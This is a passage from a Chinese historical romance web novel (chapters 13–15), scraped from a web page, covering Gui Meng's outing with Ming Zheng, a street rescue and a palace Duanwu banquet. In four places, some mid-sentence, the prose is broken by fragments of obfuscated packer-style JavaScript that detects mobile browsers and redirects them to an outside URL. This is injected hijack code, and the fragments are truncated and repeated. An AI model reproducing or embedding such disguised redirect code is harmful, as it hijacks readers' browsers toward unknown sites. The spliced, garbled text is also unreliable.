即便是出类拔萃如他与诗安,也要囿于门第,屈居于那些庸碌之徒之下,不得施展抱负。 可若是……若是他娶了她,身份自然便不同了,料来再不会有人敢看轻了他,仕途也会顺利很多吧。 想到这,归梦急饮一杯壮了壮胆,故作轻松道:“明兄你才貌双全,若能娶得一位高门贵女,这些问题便迎刃而解了。” 她说着目不转睛地看着他,想从他细微的表情中窥得一点他的心意。 “实不相瞒,我这一生之中,已举行过一次婚礼。”他终于开口述说,语气却平淡得像是在说别人的故事。 归梦认真听着,虽然她早就已经知道,但是听事主本人说则是完全不同的感觉。 “可那一次婚礼,却不算礼成。在将要拜堂之时,她离开了。” “新娘逃婚了?”归梦故作讶异。 明铮点了点头,自斟自饮了一杯。 归梦感觉到气氛有些凝滞,这毕竟是不足为外人道的难以启齿的私密。 她纯粹是出于自己的私心才又问了出来,这无异于又将明铮的陈年旧创给再次挖开,袒露给别人看。 但是话已经到嘴边了,若是不一次问个清楚就太可惜了。她小心翼翼地追问:“那么明兄至今未婚,可是还在想着那个女子?” 明明对他的回答在意极了,却又装作轻松的样子饮了口酒,就怕被明铮识破她的在意。 明铮正要开口,忽听隔壁一帘之隔的包间有人落座了。 归梦又气又急,怎么偏偏这当口来人打断了? 明铮身后那道帘子后面,有一粗嘎的男人声音说道:“今儿也真是邪门,还以为遇到条大鱼可以狠狠捞一笔,哪知道全让那小子搅和了!” 另一尖利嗓音男道:“可不,不过你认出来没有?那小子可不是一般人。‘官字两张口’,他可是太子爷身边的。” “是了,我说怎么有些眼熟,把满建康城的娘们迷得晕头转向的,成日价招蜂引蝶的,可不就是他吗?怎么,做官的也敢来赌?”粗嘎嗓道。 “那也不是他下场赌。是陪着同他一起的那小白脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599170|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “嘿嘿,那小白脸乍一看像个娘们,你说他们是什么关系?” 无巧不成书,原来坐在他们邻座的竟然是方才赌坊众赌客中的两人。因着有布帘隔着,那二人便肆无忌惮地议论起来。 待听到他们骂她“小白脸”,又言语猥亵地调侃她与明铮的关系时。她再也忍不住,霍地站了起来。 明铮伸手拉住她,扯了扯,示意她坐下。 他挽起袖口,伸出修长的手指沾了些酒水,在桌上写画起来,示意她看。 归梦不解他此举何意,低头瞧那水渍,竟是几个字,写的是:勿恼,隔帘有耳。 确实,这道布帘根本无法隔音,他们此时若是说话,对方可能就此打住不说了,或者是听出他们的声音,横生波折。 归梦倒想听听这二人还能说什么不堪入耳的话,当下坐着凝神细听。谁知那二人聊得够了,已把话题转到别处,尽说一些鸡鸣狗盗的无聊琐事。 她忽地想到早前在门口等明铮时听到的那两名少女的猜测。眼下就是最佳的时机,不如……就趁此时再问清楚。 于是她也伸手蘸了些酒水,在桌上写道:“吾心见疑,明兄官居太子洗马,为何至今仍未再娶?”她还来不及写完让明铮看,那桌上的水痕便已淡去了一半,模糊不清了。 她气恼不已,索性用手掌一股脑将所写字迹全部擦去,想了想,在桌上写下:“汝好男风否?” 明铮饶是涵养极好,也忍不住嘴角抽搐几下。对于一个男子汉来说,被人怀疑有龙阳癖,那是奇耻大辱,多半会忍不住勃然大怒。 但明铮依然镇定地坐着,只是沉默,像是在思考如何回答。他手上缓缓地倒了杯酒,慢慢地喝了下去。 归梦心里一阵紧张,她期待他的回答,又怕他不愿回答或是一语带过敷衍。 他片刻的沉默对她来说就如同过了几千几万年一样。 终于,明铮伸出手指蘸了点酒水,慢慢在桌上写了起来。不过方才写了两笔,他便停下不写了。 他忽地拉过归梦的手,自怀中掏出手帕,将手帕铺在归梦手掌之上,隔着那薄薄的绢丝,一笔一画地在她掌心慢慢地写起字来。 那手帕是普通的丝绸质地,滑而微凉,但是隔着薄薄一层,归梦仍能感觉到明铮指尖的温热。她面上腾腾灼烧起来,欲要将手抽回,可身子如僵硬了一般动弹不得。 明铮微微低头,轻轻握着归梦的手,在她手心写写划划。 无论从什么角度望去,他都是风采迷人。 归梦看着他,一颗芳心欲醉。哪还有心去感觉他到底写了什么字? 她正兀自出着神,忽地发觉明铮已写完,正抬头看着她。 归梦羞得不敢与他双目相对,慌忙挪开视线去。 明铮见她神色异样,又接着在她掌心写道:“若有抬爱,敬谢不敏。如需问药,吾当助之。” 这十六个字印在她掌心,将她的疑虑清扫得干干净净。 她忍不住,“扑哧”一声笑了出来。她怀疑明铮,却不想她自己女扮男装,所作所为落在明铮眼中,倒更像是一个好男风者。 隔帘交谈正欢的二人听到帘后传来笑声,猛然发觉邻座的包间竟然有人在,顿时闭口不言,继而压低声音窃窃私语起来。 13. 少年游(二) 归梦心情大好,随手从荷包里掏了片金叶子放在桌上,拉住明铮的手起身便走。 那二人正掀开帘子,想看看邻座是何人,是否把他们的话都偷听了去,却好整以暇地看见归梦大摇大摆地拉着明铮走了出来,不由得面色大变。 归梦噙着笑,浑不在意那二人异样的眼光,脚步轻快而雀跃地拉着明铮。待出了酒肆,忍不住一连串地咯咯娇笑。 明铮不知她为何如此开心,只静静看着她笑。他道:“孟兄弟,你明知旁人疑心你我是…”他说不出“龙阳”,“断袖”的字眼,只一带而过:“还这般招摇…”他轻叹着摇摇头,表示拿她没办法。 “但使你我二人心胸坦荡,何须管旁人言语?”归梦笑着拉着他的胳膊道。 明铮看着她唇边漾起的笑涡,也被感染了,微笑道:“你的心思我真是不明白。明明今日在我府门前,你还介意你我同行会被那些女娘误会。怎地此刻,又全不在乎了?” 归梦讶然道:“你竟看出来了?” 原来明铮早敏锐地察觉了她心中那点小九九,真不知他的一颗心究竟有多少窍。 她眨了眨眼道:“此一时彼一时……”不愿详说,嘻嘻一笑混了过去。 初时她不确定他的心意,现下既知他并无特殊嗜好,那么一切便不成问题了。纵然他心中还有放不下的人,她也会一一扫除。 “对了,论年纪你年长一些,以后请勿要开口闭口唤我‘孟兄’了。” “那唤你什么?”他问道。 “你就唤我‘小梦(孟)’,我唤你的字——‘远书’,如何?”她满眼欢喜期盼地看着他,念到“远书”这两个字时,有些羞涩地微微挪开视线去。 明铮笑笑:“随你,你想怎么称呼都可以。” 归梦嫣然一笑,她这才发觉原来天边残阳尽褪,夜色渐晦,正是华灯初上。 四月的晚风习习,吹得酒劲儿愈加发散。 归梦脚步虚浮,路都走不直了,少不得明铮在旁搀扶。 她醉眼迷蒙,嘴里仍断断续续唠叨着:“此时若是还家……母亲少不得说我,小小年纪,却学那狂士,任诞放达,饮酒贪杯,成何体统……烦也烦死了……” 明铮听着她的醉言醉语,好脾气的笑道:“那便醒醒酒再回去。” 毕竟他也不知她住在何处,只能等她清醒了自行还家。 两人正经过城西一处混杂的民居,忽然听到一阵打骂和哭喊声,黑夜中有奔跑追逐的脚步声传来。 此时路上行人稀少,这脚步声听来格外清晰。那声音由远及近,渐渐奔到了面前。 归梦本来昏昏欲睡,被这声响吓得猛然去了几分醉意。她睁开双眼,只见一团小小的人影冲了过来,直撞到了她和明铮身上! 归梦被撞得倒退了两步,顿时醉意全无。 她睁大眼睛一看——来人是个衣衫褴褛、秀发蓬乱的少女。这少女满脸泪痕,又有惊恐之色,像一头受惊的小鹿。 “求求两位好心的公子救救我,我阿父要将我卖去莳花楼!”她伸手拽住明铮的衣袖不放,瘦弱的肩膀颤抖不已,眼中尽是哀求之意。 “莳花楼?那是什么地方?”归梦不解地问。 明铮叹了口气:“秦楼楚馆。”他正想安抚一下满面惊恐的少女,却听一声暴雷般的喝骂:“臭丫头,叫你跑!” 一个五大三粗的醉汉扑了过来,一把将那少女扯到身边,上手就是劈头盖脸的一顿打,嘴里还污言秽语地辱骂不休。那少女躲闪不得,被打得哭着连连求饶。 归梦哪里见过这种场面?以往她家中下人即使犯了错被处置责罚,也不会受如此糟践。 她震惊之余,愤愤不平之气直冲胸膛,又加上酒意上涌,浑身都燥了起来,忍不住上前朝那醉汉大声叫道:“喂!住手!你凭什么打人?” 那醉汉原本打得兴起,听到呼喝声扭头看了过来。他见归梦一身男装,只当是个白净秀气的年轻公子多管闲事。 他一张嘴,酒气夹杂着口臭差点把归梦熏晕了。 “就凭我是她老子!老子打自己闺女,你管的着吗?”他说完扯住了那少女的头发又是狠狠一巴掌抽在她脸颊上。 少女柔嫩的面颊登时高高肿起,她被揪住头发动弹不得,泪水顺着脸上的五指印流了下来。 岂有此理?!世间居然会有如此可恶的父亲! 归梦怒火中烧,情急之下也顾不得那醉汉浑身散发着臭气,上去就要掰开他抓着那少女头发的手。 哪知这醉汉力大无比,如同蛮牛一般,归梦用足了力气也无法让他松开那少女。可她见不得那少女挨打,硬是死命拽着醉汉的手不松。 “臭小子,你找打!”那醉汉甩不脱归梦,腾出一只手就要挥拳朝她打来。 归梦躲避不及,眼看那又脏又臭的乌黑拳头就要落在她身上! 她眼前一花,那拳头在半空中竟停住了。 明铮一只手伸出,紧紧攥住了那醉汉的手腕。 他眉宇间淡淡的没有一丝怒气,也丝毫不见吃力。 那醉汉的手却像被铁箍箍住了一般动弹不得,挣扎不脱。他渐渐吃痛,叫唤起来。 “有话好好说。”明铮的表情还是波澜不惊。黑夜中他一身白衣,玉山巍峨,月光轻洒在他身上,襟带当风,飘然若动,像是下凡却不染纤尘的谪仙。 归梦不觉有些痴了,她仿佛回到了初见他的那一夜、那一刻。 差点忘了,他虽是文官,但是文武全才,绝非手无缚鸡之力的文弱书生。 明铮的话具有一种威慑力与让人不得不听从的魔力。 “我数三下,大家一起放手,好吗?” 醉汉终于骂骂咧咧地放开了少女。 归梦也赶紧嫌恶地放开了那醉汉,掏出手巾狠狠擦了擦双手。 那少女脱出魔掌,一双泪眼却直勾勾地只盯着明铮,刚才遭受的一番殴打似乎都忘了。 归梦气犹未消,质问那醉汉:“你配为人父吗?竟然要把女儿卖去那种地方?” 醉汉振振有词地叫道:“我不卖她,家里哪有钱吃饭?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599171|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦?没钱吃饭,却有钱买酒吗?”归梦不屑地反问。 “关你鸟事!”那醉汉撸起袖子又想动手,但慑于明铮在旁还是没敢。刚才那一握,他已经感受到明铮的气力。他的手腕还在隐隐作痛。 归梦懒得与这等人多纠缠。她从怀里掏出荷包,掷了过去:“里面的钱够你生活了吧?” 那醉汉接住荷包,伸手掏了几下,只摸出几个铜板。他立刻骂道:“你打发叫花子呢?” 归梦拿回荷包一翻,顿时有些尴尬。 她平日出门多有下人随侍,若是买东西,紫芽会跟着会钞。是以她并无出门带钱的习惯。 之前这荷包里的钱想来还是紫芽怕她近日单独出门,特地放的。方才在酒肆,她喝得兴起,竟把荷包中仅剩一片金叶子给用掉了。 她转头看向明铮,厚着脸皮伸手:“借我。” “你忘了,我今日所带的钱已用尽……”明铮提醒她。 “是哦……”归梦正想再翻翻自己身上值钱的东西。却见明铮走到那醉汉身边,低声对他说了什么。 那醉汉似有些不信,明铮又说了几句,他神情变得恭敬起来,又看了那少女一眼,竟一言不发老老实实地走了。 归梦轻哼一声,算他识相。 她朝那少女走近,温声道:“你还好吗?要不要送你回家?” 少女低着脑袋,摇头不语。 明铮亦开口安慰:“你放心,你阿父不会再把你卖了的。” 少女这才抬起头,素白的小脸上泪痕犹在。她仰头望着明铮,眼中有灼热的光芒闪烁,就像是虔诚的信徒终于找到了某种信仰,狂热而迷恋。 “多谢公子救了我!我无以为报,以后……以后就跟着公子了!”她说着便情不自禁地扑到了明铮怀里,紧紧抱住了他。 这番变故来的太快,把归梦和明铮都吓了一跳。 明铮很快反应过来。 他后退半步拉开距离,礼貌地将少女推开、扶住。 “小妹妹,你莫怕,我保证你阿父不会再把你卖了的。”他声音温柔地安慰她。 少女摇了摇头,她秀发蓬乱地拂在颊边,明亮的眼神格外坚定:“我害怕……求公子救我,我,我只想跟着公子……” 归梦冷眼旁观,看这少女的神情,倒像是爱上了明铮。 这可麻烦了。 归梦仔细打量这少女,她看起来年纪与自己相仿。黑夜之中,褴褛的麻布衣衫难掩纤细的身姿,倒是很惹人怜。 她轻咳两声,出声打圆场:“这位……‘小妹妹’,我府中正缺个侍女,不如,你随我回家?”她边说边假装自然而不露痕迹地插进少女和明铮之间,把明铮挡在身后。 那少女竟是看都不看归梦一眼,只望着明铮:“不,这位公子救了我,我只想跟着他。” 她这痴迷的样子,完全忘记了先出手救她的人其实是归梦。 归梦气结。眼看着这少女像狗皮膏药一般粘着明铮,就要甩脱不掉了。 看来必须速战速决了。 14. 入望遥 倏忽间计从心生,她回头冲明铮眨了眨眼睛。 “哎呀不好,你阿父又来抓你回去了!”归梦指着少女背后大喊。 凑巧少女身后有路人经过,归梦便装模作样吓唬她。 趁着少女回头的瞬间,归梦拉起明铮就跑。 明铮虽没反应过来,却也不由自主地配合她,脚步飞快地任由她拉着跑。 等那少女反应过来去追,她已经拉着明铮钻进民居旁的一条小巷中躲了起来。 小巷子幽暗狭窄,一角还堆了些杂物,两个人并肩背贴着墙面站着。 归梦听到那少女追寻的声音就在左近,不由得有些紧张,不自觉地连呼吸都快要屏住了。 在这逼仄的空间里,归梦感觉到明铮温热的身躯紧挨着自己,甚至能感受到他的呼吸,一时间,她竟忘了是在躲避,只盼望在这狭窄局促的巷子里呆得再久一些,再久一些。 巷子的地面肮脏不平,归梦脚边的杂物堆里发出一阵轻微声响。 “吱吱”,黑暗中有模糊不清的活物影子飞快地从她脚边窜了过去。 她骇得双眼瞪大,忍不住“啊”地大叫出声,连连跳脚,生怕被这脏东西沾到。 她平日胆子虽大,但生平最怕这恶心的老鼠。幼年时见过一次,便吓得整晚都做噩梦。 叫声刚一出口就即刻中断了,她被拉进了一个温暖的怀抱中。明铮的胸膛堵住了她的嘴巴,剩下的叫声被她硬生生憋了回去。一瞬间她忘记了恐惧,转而被那奇异的感觉替代,充斥了她的心房。 她的脸颊紧紧贴着明铮的胸膛,能听到他结实有力的心跳。 她那一句惊慌失措的尖叫并未引来追兵。 沉沉夜色无边,天地间忽然变得静悄悄的,好像只剩两人的心跳声与呼吸声。 鼻息间,她又闻到了那沉水香混着松针的好闻气息,是从他身上散出的。她生平第一次和男子靠的如此紧密,还是这个让她朝思暮想的男子。她感觉自己的胸腔里像是塞满了棉花,蓬蓬的,软软的,又似乎快要被融化了。那种感觉像是午后沐着暖阳饮下一口温热的桂花蜜水。 一时间,手足无措,她不敢触碰他的身体,只是任由他揽着自己。 良久,他松开了她。 “没事了。”归梦庆幸这里昏暗不明,不然明铮一定能看到她害羞得飞红的脸。 他侧身准备走出巷子,她却拉住了他,低声道:“再等一等吧,万一她还没走远呢。” 暗巷中,两人贴着墙壁并排而站,有些狼狈,可她却觉得这氛围是说不出的温馨。她觉得她与明铮的距离越来越近了,近到似乎快可以突破他的心防,看到他内心深处的隐秘。 明铮低声轻笑道:“你解决问题的法子总是这般直截了当吗?” “那种情形,不跑还能如何?” 她忽然觉得两人躲在小巷子里这幅场景十分有趣。两人身份都不低,却在黑夜中躲藏在这混杂民居的肮脏野巷里,只为了回避一个追逐他们的少女。 于是忽地又起了顽意:“莫非你真的想把那女娘带回府收房?” “此时此地你还与我顽笑。”他答得飞快。归梦听了很是欢喜。 “说起来这桩闲事可是你先出手管的。” 归梦回想了下,好像确实是这样。 “呃……”她一时语塞,只能胡乱强辩:“路见不平,总不能不救。虽是我先起意救她,可她感激的却是你,还一心一意要跟着你。嘻嘻,最难消受美人恩,说到底还是远书你的魅力无边。” “这样的事多不胜数,你又岂能管得过来?”明铮叹道。 “能管一桩是一桩嘛,那依你说,又当如何?” 明铮沉默了,半晌才道:“‘仓廪实而知礼节,衣食足而知荣辱’。山河动荡,生计艰难,世人蒙昧沉溺酒色,才会有卖儿鬻女之事。” “那……她回去后会不会再被卖?”归梦不由得又替那少女担心起来。 “方才我已亮明身份,让他白日间到我府上去拿银两,也告诫了他,卖良家妇女为娼触犯律法。想来他不会再敢了。” 归梦问道:“你不怕他食髓知味,总是去找你要银两?” “敢敲诈勒索朝廷命官,怕是他嫌命长了。” 出了暗巷,街上已是寂静无人,唯有清风伴着朗月和点点星子。 明铮忽然驻足:“小孟。” “嗯?”归梦一时还不习惯这个称呼,愣了一下才反应过来。 “与你相识的这段日子,我很欢喜。” 归梦不明白他为何会忽然说这些,她点了点头,冲口而出:“我也是。” “我即将离开建康一段时日。” 归梦脑子里轰地一声,好像什么都听不到了,只听见自己假装淡定但实际上有些颤抖的声音:“为何忽然要走?你要去哪里?去多久?何时出发?” 明铮不料她连珠箭式的问题,笑笑:“皇命在身。此去豫州,归期不定,明日就出发。” 那,她是来不及给他饯行了……今晚就是临行前的最后一面了。 她忽然很想哭,喉咙和胸口都像堵住了,声音也开始哽咽了,只能拼命地压抑住,鼓起一个微笑:“好,我等你归来,为你接风洗尘。” 为什么?她想念了他三年,才找到了他。而他们不过才短短相处月余,他就又要离开她!甚至,她都还没来得及告诉他自己是个女儿家,更没来得及把对他的感情向他表露。 这一别,何时才能再相见呢? 月亮圆了又缺,缺了又圆。转眼已到端午,却仍是不闻明铮的归音。 归梦也曾去明府问过门房,确认了明铮确是没有回来。豫州虽远在千里之外,但一月时间也足够来回了。 她本对朝政是无甚兴趣的,但是随着明铮久久不回,也忍不住想去打听他究竟为何公务而去豫州,甚至开始担心他的安危。 她忽地想到了那相士批的字条。谁知将荷包翻了个底朝天也未找到。那字条消失得无影无踪。 归梦将紫芽与平日能接触到她随身饰物的侍女盘问一番,均说不曾碰过荷包。 看来应是与明铮分别那一晚,她与那醉汉纠缠,掏荷包给他钱时,不慎遗失了。 想到那相士的话,字条的失落倒像是个不好的预兆,也许预示着她追逐明铮这条路不会那么顺利…… 这念头如乌云一般笼罩在她心上。 她也曾再去那小市集上找寻那名相士,可去了几次,都不曾再见到。 如此一来,归梦更觉惴惴不安,整日价就像霜打了的茄子一般,大门不出二门不迈。东安侯与谢氏一度怀疑她是不是生了病。她也就趁机称病,推掉了一切日常的雅集宴会。 到了端午这一日,终是躲不过去了。谢氏精明,早看出归梦是装病,一大早便把她叫起梳洗打扮。 宫中早有侍者送来角黍与五毒饼,这是每年端午的惯例。 傍晚时分,归梦随着父母一同入宫。 太初宫她自是不陌生,帝后端坐上首,今日世家各族中人来得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599172|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很是齐全。 琴瑟声起,莺歌燕舞。 案上摆满热炙美酒,野味山珍。 她遥遥看着坐在太子右手边的诗安,一身中规中矩的淡紫宫装,薄施粉黛,两弯远山眉似蹙非蹙,微笑之下仿佛隐着愁容。看她的样子,倒是清减了一些。难道,也是在为明铮迟迟不归而担心吗? 想到明铮,归梦就觉得这欢歌乐舞的气氛与自己的心境格格不入,佳肴在前也无心享用。她以更衣为名告了母亲,携着紫芽悄悄退出殿去。 远离了热闹嘈杂的殿宇,拣了花园里廊柱边一僻静处坐下,拿着酒与紫芽对饮。 虽已入夏,但夜晚还是凉爽,只是多了些令人烦躁的蝉鸣。归梦感觉背上出的一层薄汗渐渐干了。 天边一弯寂寞新月如钩,反衬了满天星斗的热闹。 银汉迢迢,人亦相隔千里。不知道明铮现在在做什么呢? 归梦不觉叹了口气。 “什么人在那里?!”身旁灌木丛后传来内监独有的尖利嗓音。 话音刚落,昏暗中一名衣着华贵的年轻男子带着几名内监走了出来。 紫芽见状出言呵斥:“是东安侯府的女公子在这里,无事,你们退下吧!” “哦?”为首的年轻男子闻言来了兴致,反而走近了几步:“是岑家妹妹吗?” 紫芽见来人不退反进,颇为无礼,急忙拦在归梦身前:“你是什么人?勿得上前!” 男子身侧的内监递上了一盏宫灯,他趁手接过,将宫灯提了提,显然是想照清楚归梦的形貌。 归梦也借着宫灯的光亮看清了对方——绛朱色的绸缎长袍绣着暗纹金线,腰间挂满环佩,长相还算端正,只是那眼珠子乱转,来回在人身上打量,看着有些讨厌。 他看清归梦后立刻浮起笑容:“果真是妹妹。宴会之上,与妹妹隔得远也不曾好好叙旧。妹妹怎么在这呢?” 归梦淡淡答道:“夏侯公子不也在此?我可碍着谁了吗?” 夏侯权笑道:“那倒没有。是陛下嫌这鸣蝉声响太大,扰了丝竹之音,我正着人将树上这些蝉给粘了去。”说罢挥挥手,命那些内监下去了。 归梦本对夏侯权无甚好感,两人向来接触不多。 自从夏侯权的姊姊夏侯敏一跃成为太子妃后,他行事作风就愈发大胆狂妄了。 上次在太子西苑,夏侯敏流露出撮和她与夏侯权的意思,她并没太放在心上。现下听他一口一个“妹妹”地叫自己,顿时觉得说不出的厌恶,忍不住出言讥讽:“夏侯公子倒是殷勤,粘蝉这种小事也亲力亲为。” 谁料夏侯权不仅听不出讽刺之意,反而有些自得:“此言差矣,陛下的事再小,那也是大事。” 归梦不耐和这种草包多说,丢下一句“失陪”,起身准备离开。夏侯权笑笑,绛朱色的袍角一闪,拦住了去路:“许久不见,妹妹怎地这般着急走?如此良宵,何妨多聊一会儿?” 紫芽忍不住上前:“公子可是吃醉酒了?不如奴婢唤个内监来扶您去休息一下。” 夏侯权面色一沉:“好无礼的丫头,你可知我的身份?敢这么对我说话!” 归梦见紫芽被夏侯权的怒容吓到没了言语,伸手轻轻把她扯到自己身后,接口道:“夏侯公子是太子殿下的内弟,谁人不知?” 夏侯权闻言面色稍霁,朝归梦身后的紫芽笑了笑:“你放心,本公子只是心悦你家女公子。许久未见,想要一诉衷肠。” 他目光转而投向归梦,毫不掩饰暧昧之意。 15. 立中宵 归梦听他这话说的十分唐突无礼,不由得怒极反笑。 有些人不过是只风筝,借着东风上了天,便以为有了翅膀,可以直上青云了。 她踱了两步,深吸口气平复了下心情,努力维持着仪态:“我回建康不久,与夏侯公子你不过几面之缘,不知你何出此言?如此抬爱,不敢当。” 月光下可见夏侯权的脸上泛起一层腻腻的白粉,显得有些阴森可怖。 他对归梦的拒绝不以为意:“妹妹何必拒人于千里之外呢?俗话说因缘天定,并不在相处时日的长短。我如今是太子殿下的内弟,妹妹是太子殿下的表妹。你我正是天造地设的一对。亲上加亲,岂不是美事一桩?” 他见归梦不说话,又接着殷殷劝道:“士族之间通婚联姻本就是稀松平常的事。妹妹你家世贵重,放眼看去,世家公子之中,唯有我,可堪与你匹配。你不必害羞,我择日便可请人去府上提亲,待得妹妹你及笄,再定婚期……” 他自顾自沉浸在美好愿景之中。归梦并不打断,只是静静地听着,任由他说。 夏侯权只当她害羞,说完后满眼期冀地含笑望着她。 归梦却侧首瞧着廊柱边的花藤,像是发现了什么新奇玩意似的。 “哎呀,紫芽你看,这凌霄花多会攀缘。一旦攀上大树便缘藤而上,无孔不入,缠得死死的。” 紫芽点头附和道:“是呢,我听说凌霄花还会吸取别的植物的养分为自己所用。做人可不能如这花一般,损人利己。” 归梦悠悠叹道:“如此钻营,看似有凌云之志,其实不过是凭借他人。” 两人一唱一和,意有所指。 夏侯权终于聪明了一回,勃然变色:“你们讽刺我?” 归梦见他被激怒,开心地抚掌而笑:“不错不错,夏侯公子居然听出来了。” “你……不识抬举!”夏侯权恼羞成怒,涂了白粉的脸隐隐涨成猪肝色。 归梦先前忍着,是想听听他到底能说出多少无耻言语,此刻无需再忍,立时嘴下毫不留情:“是我不识抬举还是你欺人太甚?说起来,也真难为你姊弟俩了,夏侯氏的荣光,如今全系在你姊姊一人身上。你这做弟弟的,自然也要替她分担一些。只不过,你若是如你祖父一般,去建功立业,战场杀敌,我倒还看得起你几分。你要趋炎附势,可别把如意算盘打到我身上来!” 夏侯权“哼”了一声:“你神气什么?当初你家拒婚太子,满朝皆知。你不嫁我,我倒要看看贵族之中哪个敢娶你!” 归梦嘻嘻笑道:“照啊。我若想亲上加亲,当初嫁给太子就行了。我连太子妃之位都不在意,又怎会嫁给你呢?至于我将来嫁不嫁,嫁给谁,就不劳你费心啦。” 夏侯权直气得七窍生烟,一拂袖,恨恨地去了。 紫芽见夏侯权走远了,有些担心地开口:“梦娘,你方才的话会不会说得太狠,得罪他了……” 归梦轻嗤:“对这种人,话说得越狠越好。不然他会蹬鼻子上脸,以为有机可趁呢。” 回到殿内,依旧是推杯换盏的欢乐气氛。今日皇帝陛下兴致很高,留在席上拉着几位权臣连连对饮。 众人皆知,陛下沉迷炼药修道,以往纵有盛大宴会,也是早早离席了。今日却是一反常态。 这种场合,自然是极好的交换消息的所在。归梦啜着酒,耳边不时飘入母亲和其他几位贵妇交谈的话语。 “听说桓大官人到了豫州,把那欲作乱的侯峻安抚住了……” “难怪陛下今日格外高兴……” “毕竟桓超是陛下的妹婿,给自家人长脸了。你看乐阳长公主春风满面的样子……” “还有桓家那俩兄弟,真是得意忘形!” 她们絮絮私语聊得兴起。 归梦却只敏感地捕捉到“豫州”两个字。 此事会不会和明铮有关?莫非他去豫州也是为了这件事? 那是不是代表,他的归期不远了?想到这,归梦握着酒杯的手忍不住因激动而微微颤抖。 殿外有内监尖细的声音响起,划破了一片歌舞升平。 内监踩着细碎的脚步,匆忙呈上书信到太子手中。 太子拆开看完,眉头已是紧锁,紧接着将书信转呈给皇帝。皇帝饮酒作乐正在兴头,本不愿看,只见太子嘴唇动了几下说了些什么,皇帝才接过信,努力睁大迷朦的醉眼,辨认着信上的字迹。 归梦远远看着——皇帝保养得宜,虽已年过半百,但并无老态,华冠下的头发依旧乌黑。一身明黄色九龙长袍衬得他颇具威严。 只是此刻醉得东倒西歪,两颊酡红,以致于他手拿着书信阅览的样子有些滑稽。 “竖子!”待得看完书信内容,皇帝已是龙颜大怒,伸手一掌击在面前的矮几上,直震得酒杯倾倒,酒液四流。 众人不知发生何事,见状纷纷停下手中动作,面面相觑,不敢出声。 丝竹管乐也停了下来,殿内一时噤若寒蝉。 幸而一旁的谢皇后仪容如常,端庄自若,先是劝慰住皇帝,又摆手命内监扶着皇帝先行退席。 “陛下不胜酒力,诸卿安坐。”皇后的声音沉稳自持。 “皇儿。”谢皇后侧首看向太子,太子已了然。接着太子便借口身体不适,委婉地主持结束了宴会。 端午晚宴就在不明不白中不欢而散了。 参与宴会的众人无不是抱着满肚子的疑问离开的。 翌日,天刚蒙蒙亮,宫中便有使者来唤东安侯入宫议事。归梦纵然平日再贪玩不懂事,也意识到非同小可,听到消息便起床陪着忧心忡忡的母亲一起,等父亲还家。 父亲除了侯爵在身,只担了侍中的散职,平日也并不参与军机要事,多是在家陪伴母亲,做些闲差。像这般急召,从未有过。 这一等,就是一天。直到傍晚夕阳西下,才听门房那传来父亲还家的消息。 这一天委实是过得漫长又艰难。 归梦的大伯,岑家长房岑照官至大司空。归梦的几位堂兄也分别担着尚书、给事中等职位。曾祖父也是将帅出身,带着族人南渡后为朝廷立过大功,一手创立了北府兵,位列三公。岑氏一族之所以在士族之中有一席之地屹立不倒,不仅是因着与谢氏联姻,外戚的身份,也因着祖上打下的根基深厚。 她生来大富大贵,顺心如意,想做任何事想得到任何东西都是轻而易举。 自她有记忆以来,她从未见过父亲英气威武的脸上现出过倦色、愁容,更不曾见母亲担忧落泪,无心饮食。 她印象中也就见过父母为两件事苦恼过。 第一件事:无子,将来无男丁袭爵。不过随着时间推移,父母亲似乎也早已看淡随缘了。 第二件,是她的婚事。当年面对姨母谢皇后的结亲之意,父母亲也是困扰苦恼了一番,但也很快做了决定解决了,并不如今日这般惊惶。 归梦扶着父亲坐下,奉上温热的茶水,迫不及待地询问:“宫中到底传唤父亲商议何事,怎地去了那么久?” 谢氏亦是满脸关切地握着丈夫的手,等着他开口。 岑熙看着妻女对自己的关心,忍不住拍拍妻子的手以示安慰,又抚了抚女儿面庞,温声道:“其实也没什么大事,只是梦儿的婚事,我们需得早做打算了。” “这是为何?”母女俩异口同声。 岑熙叹了口气:“你可知昨夜晚宴为何提前草草结束?桓超虽是暂时平了侯峻的野心,允诺此番回去后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 